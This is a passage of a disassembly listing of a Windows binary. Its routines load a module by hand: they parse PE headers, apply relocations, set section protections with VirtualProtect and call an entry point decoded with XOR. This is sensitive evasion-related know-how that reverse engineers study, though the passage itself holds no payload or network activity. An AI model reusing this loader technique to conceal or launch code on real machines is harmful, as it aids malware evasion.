		mov	[ebp+var_2C], eax
		push	[ebp+var_2C]
		call	sub_4993DD
		pop	ecx
		push	[ebp+var_30]
		push	[ebp+var_4]
		call	sub_496070
		test	eax, eax
		jnz	short loc_496A3C
		call	ds:dword_4A2710	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_496A2F
		push	7Eh
		call	ds:dword_4A278C	; RtlRestoreLastWin32Error

loc_496A2F:				; CODE XREF: sub_4968CF+156j
		push	[ebp+var_4]
		call	ds:dword_4A26E0	; FreeLibrary
		and	[ebp+var_4], 0

loc_496A3C:				; CODE XREF: sub_4968CF+DFj
					; sub_4968CF+F4j ...
		mov	eax, [ebp+var_4]

locret_496A3F:				; CODE XREF: sub_4968CF+7Aj
		leave
		retn
sub_4968CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_496A41	proc near		; CODE XREF: sub_49C076+4Ep

var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00496AC3 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F488
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], ecx
		push	105h
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_1C], eax
		push	41h
		pop	ecx
		xor	eax, eax
		mov	edi, [ebp+var_1C]
		rep stosd
		stosb
		and	[ebp+var_4], 0
		push	104h
		push	[ebp+var_1C]
		push	[ebp+var_28]
		call	ds:dword_4A2714	; GetModuleFileNameA
		push	[ebp+var_1C]
		push	[ebp+var_28]
		call	sub_496070
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_496AB3
		jmp	short loc_496AC3
sub_496A41	endp


; =============== S U B	R O U T	I N E =======================================



sub_496AB3	proc near		; CODE XREF: sub_496A41+6Bp
					; DATA XREF: _5:0049F490o
		mov	eax, [ebp-1Ch]
		mov	[ebp-24h], eax
		push	dword ptr [ebp-24h]
		call	sub_4993DD
		pop	ecx
		retn
sub_496AB3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_496A41

loc_496AC3:				; CODE XREF: sub_496A41+70j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_496A41

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_496AD2	proc near		; CODE XREF: sub_49BE2D+19p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	dl, 1
		mov	ecx, [ebp+var_4]
		call	sub_4968CF
		leave
		retn
sub_496AD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_496AE5	proc near		; CODE XREF: sub_4971E1+5DBp
					; sub_4971E1+60Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_4]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jz	short loc_496B05
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		jmp	short locret_496B08
; ---------------------------------------------------------------------------

loc_496B05:				; CODE XREF: sub_496AE5+13j
		mov	eax, [ebp+arg_0]

locret_496B08:				; CODE XREF: sub_496AE5+1Ej
		leave
		retn
sub_496AE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_496B0A	proc near		; CODE XREF: sub_496BD7+16Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_8]
		add	eax, [ebp+arg_C]
		mov	[ebp+var_8], eax

loc_496B25:				; CODE XREF: sub_496B0A:loc_496BD0j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	locret_496BD5
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_10]
		sub	eax, 8
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax

loc_496B65:				; CODE XREF: sub_496B0A+8Bj
					; sub_496B0A+C4j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jnb	short loc_496BD0
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		and	eax, 0FFFh
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_4]
		movzx	eax, word ptr [eax]
		sar	eax, 0Ch
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_4]
		inc	eax
		inc	eax
		mov	[ebp+var_4], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_496B97
		jmp	short loc_496B65
; ---------------------------------------------------------------------------

loc_496B97:				; CODE XREF: sub_496B0A+89j
		cmp	[ebp+var_1C], 3
		jz	short loc_496BA7
		mov	ecx, 0EF000016h
		call	sub_499342

loc_496BA7:				; CODE XREF: sub_496B0A+91j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		sub	ecx, [eax+34h]
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		add	eax, ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_18]
		mov	[eax], ecx
		jmp	short loc_496B65
; ---------------------------------------------------------------------------

loc_496BD0:				; CODE XREF: sub_496B0A+61j
		jmp	loc_496B25
; ---------------------------------------------------------------------------

locret_496BD5:				; CODE XREF: sub_496B0A+21j
		leave
		retn
sub_496B0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_496BD7	proc near		; DATA XREF: sub_4971E1+C01o

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
var_74		= dword	ptr -74h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 00497113 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00497128 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F498
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 7Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		cmp	[ebp+arg_10], 1
		jnz	loc_496F4D
		mov	[ebp+var_4], 1
		call	sub_4968A0
		mov	ecx, [ebp+arg_8]
		xor	ecx, eax
		mov	[ebp+arg_8], ecx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_24]
		add	ecx, [eax+3Ch]
		mov	[ebp+var_40], ecx
		mov	eax, [ebp+var_40]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_40]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_40]
		movzx	eax, word ptr [eax+6]
		imul	eax, 28h
		mov	ecx, [ebp+var_34]
		lea	eax, [ecx+eax-28h]
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		mov	eax, [ecx+eax+34h]
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		mov	eax, [ecx+eax+38h]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		mov	eax, [ecx+eax+3Ch]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		mov	eax, [ecx+eax+40h]
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		lea	eax, [ecx+eax+44h]
		mov	[ebp+var_3C], eax
		jmp	short loc_496CB7
; ---------------------------------------------------------------------------

loc_496CAE:				; CODE XREF: sub_496BD7:loc_496D2Aj
		mov	eax, [ebp+var_34]
		add	eax, 28h
		mov	[ebp+var_34], eax

loc_496CB7:				; CODE XREF: sub_496BD7+D5j
		mov	eax, [ebp+var_34]
		cmp	eax, [ebp+var_28]
		jnb	short loc_496D2C
		mov	eax, [ebp+var_3C]
		mov	eax, [eax]
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_3C]
		add	eax, 4
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		mov	eax, [eax]
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_3C]
		add	eax, 4
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		add	eax, 4
		mov	[ebp+var_3C], eax
		push	0
		push	0
		push	[ebp+var_50]
		push	[ebp+arg_0]
		call	sub_491421
		lea	eax, [ebp+var_48]
		push	eax
		push	0
		push	0
		push	[ebp+var_4C]
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_24]
		add	ecx, [eax+0Ch]
		push	ecx
		push	[ebp+arg_0]
		call	sub_492177
		test	eax, eax
		jz	short loc_496D20
		cmp	[ebp+var_48], 0
		jnz	short loc_496D2A

loc_496D20:				; CODE XREF: sub_496BD7+141j
		mov	ecx, 0EF00000Fh
		call	sub_499342

loc_496D2A:				; CODE XREF: sub_496BD7+147j
		jmp	short loc_496CAE
; ---------------------------------------------------------------------------

loc_496D2C:				; CODE XREF: sub_496BD7+E6j
		mov	eax, [ebp+var_40]
		mov	eax, [eax+34h]
		cmp	eax, [ebp+var_24]
		jz	short loc_496D4B
		push	[ebp+var_2C]
		push	[ebp+var_44]
		push	[ebp+var_40]
		push	[ebp+var_24]
		call	sub_496B0A
		add	esp, 10h

loc_496D4B:				; CODE XREF: sub_496BD7+15Ej
		push	5Ch
		push	[ebp+arg_4]
		call	sub_48D700
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_496D68
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_20], eax
		jmp	short loc_496D6F
; ---------------------------------------------------------------------------

loc_496D68:				; CODE XREF: sub_496BD7+187j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax

loc_496D6F:				; CODE XREF: sub_496BD7+18Fj
		cmp	[ebp+var_30], 0
		jz	short loc_496D97
		mov	eax, [ebp+var_24]
		add	eax, [ebp+var_30]
		mov	[ebp+var_54], eax
		push	[ebp+var_38]
		push	1
		push	[ebp+var_20]
		push	[ebp+var_40]
		push	[ebp+var_24]
		push	[ebp+var_54]
		call	sub_495D70
		add	esp, 18h

loc_496D97:				; CODE XREF: sub_496BD7+19Cj
		mov	eax, ds:dword_4A2954
		mov	[ebp+var_74], eax
		cmp	[ebp+var_74], 0
		jz	short loc_496DB8
		mov	eax, [ebp+var_74]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_78], 1
		jmp	short loc_496DBC
; ---------------------------------------------------------------------------

loc_496DB8:				; CODE XREF: sub_496BD7+1CCj
		and	[ebp+var_78], 0

loc_496DBC:				; CODE XREF: sub_496BD7+1DFj
		movzx	eax, [ebp+var_78]
		test	eax, eax
		jz	short loc_496DFB
		push	offset sub_49CB0D
		push	ds:dword_4A27C0
		push	[ebp+arg_C]
		push	[ebp+var_20]
		mov	ecx, ds:dword_4A2954
		call	sub_49C9B1
		mov	eax, ds:dword_4A2954
		mov	[ebp+var_7C], eax
		cmp	[ebp+var_7C], 0
		jz	short loc_496DFB
		mov	eax, [ebp+var_7C]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

loc_496DFB:				; CODE XREF: sub_496BD7+1EBj
					; sub_496BD7+215j
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		mov	ecx, ds:dword_4A294C
		call	sub_49C98E
		cmp	ds:dword_4A2680, 2
		jb	loc_496F35
		mov	eax, [ebp+var_40]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_40]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_34], eax
		and	[ebp+var_58], 0
		lea	eax, [ebp+var_58]
		push	eax
		push	4
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		cdq
		push	28h
		pop	ecx
		idiv	ecx
		push	eax
		push	[ebp+var_34]
		call	ds:dword_4A27AC	; VirtualProtect
		mov	eax, [ebp+var_28]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_24]
		lea	eax, [ecx+eax+44h]
		mov	[ebp+var_3C], eax
		jmp	short loc_496E65
; ---------------------------------------------------------------------------

loc_496E5C:				; CODE XREF: sub_496BD7+32Bj
		mov	eax, [ebp+var_34]
		add	eax, 28h
		mov	[ebp+var_34], eax

loc_496E65:				; CODE XREF: sub_496BD7+283j
		mov	eax, [ebp+var_34]
		cmp	eax, [ebp+var_28]
		jnb	loc_496F07
		mov	eax, [ebp+var_3C]
		add	eax, 8
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_3C]
		mov	eax, [eax]
		mov	[ebp+var_60], eax
		mov	eax, [ebp+var_3C]
		add	eax, 4
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_60]
		mov	[eax+24h], ecx
		and	[ebp+var_5C], 0
		mov	eax, [ebp+var_60]
		and	eax, 20000000h
		test	eax, eax
		jz	short loc_496EC2
		mov	eax, [ebp+var_60]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_496EB9
		mov	[ebp+var_5C], 40h
		jmp	short loc_496EC0
; ---------------------------------------------------------------------------

loc_496EB9:				; CODE XREF: sub_496BD7+2D7j
		mov	[ebp+var_5C], 20h

loc_496EC0:				; CODE XREF: sub_496BD7+2E0j
		jmp	short loc_496EDE
; ---------------------------------------------------------------------------

loc_496EC2:				; CODE XREF: sub_496BD7+2CBj
		mov	eax, [ebp+var_60]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_496ED7
		mov	[ebp+var_5C], 4
		jmp	short loc_496EDE
; ---------------------------------------------------------------------------

loc_496ED7:				; CODE XREF: sub_496BD7+2F5j
		mov	[ebp+var_5C], 2

loc_496EDE:				; CODE XREF: sub_496BD7:loc_496EC0j
					; sub_496BD7+2FEj
		lea	eax, [ebp+var_60]
		push	eax
		push	[ebp+var_5C]
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_34]
		mov	eax, [eax+34h]
		sub	eax, [ecx+0Ch]
		push	eax
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_24]
		add	ecx, [eax+0Ch]
		push	ecx
		call	ds:dword_4A27AC	; VirtualProtect
		jmp	loc_496E5C
; ---------------------------------------------------------------------------

loc_496F07:				; CODE XREF: sub_496BD7+294j
		mov	eax, [ebp+var_40]
		movzx	eax, word ptr [eax+14h]
		mov	ecx, [ebp+var_40]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_58]
		push	eax
		push	[ebp+var_58]
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		cdq
		push	28h
		pop	ecx
		idiv	ecx
		push	eax
		push	[ebp+var_34]
		call	ds:dword_4A27AC	; VirtualProtect

loc_496F35:				; CODE XREF: sub_496BD7+23Cj
		and	[ebp+var_4], 0
		jmp	short loc_496F4B
; ---------------------------------------------------------------------------

loc_496F3B:				; DATA XREF: _5:0049F4A8o
		push	[ebp+var_14]
		call	sub_499C27
		retn
; ---------------------------------------------------------------------------

loc_496F44:				; DATA XREF: _5:0049F4ACo
		mov	esp, [ebp+var_18]
		and	[ebp+var_4], 0

loc_496F4B:				; CODE XREF: sub_496BD7+362j
		jmp	short loc_496F6F
; ---------------------------------------------------------------------------

loc_496F4D:				; CODE XREF: sub_496BD7+34j
		cmp	[ebp+arg_10], 0
		jnz	short loc_496F62
		call	sub_4968A0
		mov	ecx, [ebp+arg_8]
		xor	ecx, eax
		mov	[ebp+arg_8], ecx
		jmp	short loc_496F6F
; ---------------------------------------------------------------------------

loc_496F62:				; CODE XREF: sub_496BD7+37Aj
		call	sub_4968A0
		mov	ecx, [ebp+arg_8]
		xor	ecx, eax
		mov	[ebp+arg_8], ecx

loc_496F6F:				; CODE XREF: sub_496BD7:loc_496F4Bj
					; sub_496BD7+389j
		cmp	[ebp+arg_8], 0
		jz	loc_497115
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+arg_8]
		mov	[ebp+var_64], eax
		mov	ds:dword_4A2928, 0FFFFFFFEh
		mov	eax, ds:dword_4A2960
		mov	[ebp+var_68], eax
		mov	[ebp+var_4], 2
		pushaw
		mov	ds:dword_4A2960, esp
		mov	eax, [ebp+arg_14]
		push	eax
		mov	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+arg_C]
		push	eax
		call	[ebp+var_64]
		mov	ds:dword_4A2928, eax
		mov	esp, ds:dword_4A2960
		popaw
		and	[ebp+var_4], 0
		call	sub_496FCD
		jmp	loc_497113
sub_496BD7	endp


; =============== S U B	R O U T	I N E =======================================



sub_496FCD	proc near		; CODE XREF: sub_496BD7+3ECp
					; DATA XREF: _5:0049F4B8o
		mov	eax, [ebp-68h]
		mov	ds:dword_4A2960, eax
		cmp	dword ptr [ebp+18h], 0
		jnz	loc_4970F6
		mov	eax, ds:dword_4A294C
		mov	[ebp-80h], eax
		cmp	dword ptr [ebp-80h], 0
		jz	short loc_497003
		mov	eax, [ebp-80h]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	byte ptr [ebp-84h], 1
		jmp	short loc_49700A
; ---------------------------------------------------------------------------

loc_497003:				; CODE XREF: sub_496FCD+1Ej
		and	byte ptr [ebp-84h], 0

loc_49700A:				; CODE XREF: sub_496FCD+34j
		movzx	eax, byte ptr [ebp-84h]
		test	eax, eax
		jz	short loc_497047
		push	dword ptr [ebp+14h]
		mov	ecx, ds:dword_4A294C
		call	sub_49C8E0
		mov	eax, ds:dword_4A294C
		mov	[ebp-88h], eax
		cmp	dword ptr [ebp-88h], 0
		jz	short loc_497047
		mov	eax, [ebp-88h]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

loc_497047:				; CODE XREF: sub_496FCD+46j
					; sub_496FCD+68j
		push	5Ch
		push	dword ptr [ebp+0Ch]
		call	sub_48D700
		pop	ecx
		pop	ecx
		mov	[ebp-6Ch], eax
		cmp	dword ptr [ebp-6Ch], 0
		jnz	short loc_497064
		mov	eax, [ebp+0Ch]
		mov	[ebp-6Ch], eax
		jmp	short loc_49706B
; ---------------------------------------------------------------------------

loc_497064:				; CODE XREF: sub_496FCD+8Dj
		mov	eax, [ebp-6Ch]
		inc	eax
		mov	[ebp-6Ch], eax

loc_49706B:				; CODE XREF: sub_496FCD+95j
		mov	eax, ds:dword_4A2954
		mov	[ebp-8Ch], eax
		cmp	dword ptr [ebp-8Ch], 0
		jz	short loc_497098
		mov	eax, [ebp-8Ch]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	byte ptr [ebp-90h], 1
		jmp	short loc_49709F
; ---------------------------------------------------------------------------

loc_497098:				; CODE XREF: sub_496FCD+B0j
		and	byte ptr [ebp-90h], 0

loc_49709F:				; CODE XREF: sub_496FCD+C9j
		movzx	eax, byte ptr [ebp-90h]
		test	eax, eax
		jz	short loc_4970E7
		push	offset sub_49CB0D
		push	ds:dword_4A27C0
		push	dword ptr [ebp-6Ch]
		mov	ecx, ds:dword_4A2954
		call	sub_49C900
		mov	eax, ds:dword_4A2954
		mov	[ebp-94h], eax
		cmp	dword ptr [ebp-94h], 0
		jz	short loc_4970E7
		mov	eax, [ebp-94h]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

loc_4970E7:				; CODE XREF: sub_496FCD+DBj
					; sub_496FCD+108j
		mov	eax, [ebp+0Ch]
		mov	[ebp-70h], eax
		push	dword ptr [ebp-70h]
		call	sub_4993DD
		pop	ecx

loc_4970F6:				; CODE XREF: sub_496FCD+Cj
		mov	eax, ds:dword_4A2928
		mov	[ebp-1Ch], eax
		mov	ds:dword_4A2928, 0FFFFFFFEh
		cmp	dword ptr [ebp-1Ch], 0FFFFFFFEh
		jnz	short locret_497112
		and	dword ptr [ebp-1Ch], 0

locret_497112:				; CODE XREF: sub_496FCD+13Fj
		retn
sub_496FCD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_496BD7

loc_497113:				; CODE XREF: sub_496BD7+3F1j
		jmp	short loc_49711C
; ---------------------------------------------------------------------------

loc_497115:				; CODE XREF: sub_496BD7+39Cj
		mov	[ebp+var_1C], 1

loc_49711C:				; CODE XREF: sub_496BD7:loc_497113j
		or	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_1
		jmp	short loc_497128
; END OF FUNCTION CHUNK	FOR sub_496BD7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_496BD7

loc_497128:				; CODE XREF: sub_496BD7+54Ej
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
; END OF FUNCTION CHUNK	FOR sub_496BD7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49713C	proc near		; CODE XREF: sub_495DC0+23Cp
					; sub_495DC0:loc_49601Ap
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	ds:dword_4A296C, 0
		setnz	al
		pop	ebp
		retn
sub_49713C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49714D	proc near		; CODE XREF: sub_495DC0:loc_49600Ap
					; sub_4971E1:loc_49805Cp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h

loc_497153:				; CODE XREF: sub_49714D+89j
		and	[ebp+var_4], 0
		cmp	ds:dword_4A296C, 0
		jz	short loc_4971D0
		mov	[ebp+var_8], offset dword_4A296C

loc_497167:				; CODE XREF: sub_49714D:loc_4971CEj
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax], 0
		jz	short loc_4971D0
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		push	0
		push	1
		mov	eax, [ebp+var_C]
		push	dword ptr [eax]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		call	sub_495D70
		add	esp, 18h
		movzx	eax, al
		test	eax, eax
		jz	short loc_4971C3
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	ecx, [ebp+var_8]
		mov	eax, [eax+10h]
		mov	[ecx], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		call	sub_4993DD
		pop	ecx
		jmp	short loc_4971CE
; ---------------------------------------------------------------------------

loc_4971C3:				; CODE XREF: sub_49714D+52j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		add	eax, 10h
		mov	[ebp+var_8], eax

loc_4971CE:				; CODE XREF: sub_49714D+74j
		jmp	short loc_497167
; ---------------------------------------------------------------------------

loc_4971D0:				; CODE XREF: sub_49714D+11j
					; sub_49714D+20j
		movzx	eax, [ebp+var_4]
		test	eax, eax
		jnz	loc_497153
		mov	al, [ebp+var_4]
		leave
		retn
sub_49714D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4971E1	proc near		; CODE XREF: sub_49A31F+2Fp
					; sub_49BE2D+2Dp

var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= dword	ptr -10Ch
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= byte ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_5C		= byte ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00497B27 SIZE 00000058 BYTES
; FUNCTION CHUNK AT 00497B8F SIZE 000004F6 BYTES
; FUNCTION CHUNK AT 00498132 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F4C0
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 130h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_12C], edx
		mov	[ebp+var_128], ecx
		or	[ebp+var_3C], 0FFFFFFFFh
		or	[ebp+var_38], 0FFFFFFFFh
		or	[ebp+var_58], 0FFFFFFFFh
		and	[ebp+var_34], 0
		and	[ebp+var_30], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_2C], 0
		and	[ebp+var_54], 0
		and	[ebp+var_4C], 0
		and	[ebp+var_50], 0
		and	[ebp+var_40], 0
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		and	[ebp+var_5C], 0
		and	[ebp+var_20], 0
		push	offset dword_4A2930
		call	ds:dword_4A26C4	; RtlEnterCriticalSection
		and	[ebp+var_48], 0
